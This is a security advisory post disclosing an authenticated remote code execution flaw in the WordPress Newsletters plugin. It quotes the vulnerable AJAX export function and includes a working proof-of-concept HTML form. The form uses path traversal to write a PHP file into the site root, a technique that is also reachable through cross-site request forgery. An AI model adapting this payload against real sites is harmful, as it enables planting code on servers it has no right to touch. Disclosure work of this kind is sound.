There is Also an Authenticated Remote Code Execution (RCE) Vulnerability in Newsletters

Yesterday we noted a reflected cross-site scripting (XSS) vulnerability in the WordPress plugin Newsletters, which was closed on Friday, that we happened across. Subsequent to that in our monitoring to keep track of indications that new versions of plugins have security fixes we noticed that a new version of the plugin had been submitted with “Security fixes”. That version doesn’t fix the vulnerability we had mentioned yesterday. When we started looking over that to see if there was something else that was fixed that we should add to the data set of plugin vulnerabilities for our service, we came across more unfixed vulnerabilities.

What we first ran across is a fairly serious vulnerability, an authenticated remote code execution (RCE) vulnerability, which is included in code that seems like shouldn’t exist even if better secured.

The plugin registers the function ajax_exportmultiple() to be accessible through WordPress AJAX functionality to anyone logged in to WordPress:

267	add_action('wp_ajax_newsletters_exportmultiple', array($this, 'ajax_exportmultiple'));

The code in that function, which is located in the file /wp-mailinglist-plugin.php, creates an export file from user input:

function ajax_exportmultiple() {
	define('DOING_AJAX', true);
	define('SHORTINIT', true);
	global $Html;
	$exportfilename = $_REQUEST['exportfile'];
	$exportfilepath = $Html -> uploads_path() . '/' . $this -> plugin_name . '/export/';
	$exportfilefull = $exportfilepath . $exportfilename;
 
	if ($fp = fopen($exportfilefull, "a")) {
		$csvdelimiter = $this -> get_option('csvdelimiter');
		$delimiter = (empty($_REQUEST['delimiter'])) ? $csvdelimiter : $_REQUEST['delimiter'];
		$headings = $_REQUEST['headings'];
		$subscribers = stripslashes_deep($_REQUEST['subscribers']);
 
		$headings_keys = array();
		foreach ($headings as $hkey => $hval) {
			$headings_keys[$hkey] = '';
		}
 
		if (!empty($subscribers)) {
			foreach ($subscribers as $subscriber) {
				$subscriber = array_merge($headings_keys, $subscriber);
 
				if (!empty($subscriber)) {
					fputcsv($fp, $subscriber, $delimiter, '"');
				}
 
				echo $subscriber['email'] . "<|>";
			}
		}
 
		fclose($fp);
	}
 
	exit();
	die();
}

When running as is intended the user input comes from a request generated by the plugin, so it would seem like a better approach would be for the code to gather the data itself instead of the plugin passing it back to itself like that. A big reason for that is that user input introduces security risk, so limiting using it to when you actually need to, improves security. With the code as it now, it allows, as the proof of concept below shows, anyone logged in to WordPress could create a .php file with malicious code in it. Through cross-site request forgery (CSRF) an attacker could also cause anyone logged in to WordPress to do that as well without intending it.

Rewriting the code would be the best way to resolve this. But for many other AJAX accessible functions in the plugin that are not properly secured, limiting who can access them and checking for a valid nonce to prevent CSRF would improve security greatly.

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will create a file named poc.php in the root directory of the website that outputs the message “Proof of Concept”, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=newsletters_exportmultiple&exportfile=../../../../poc.php" method="POST">
<input type="hidden" name="headings[1][1]" value="" />
<input type="hidden" name="subscribers[1][1]" value="<?php echo('Proof of Concept'); ?>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>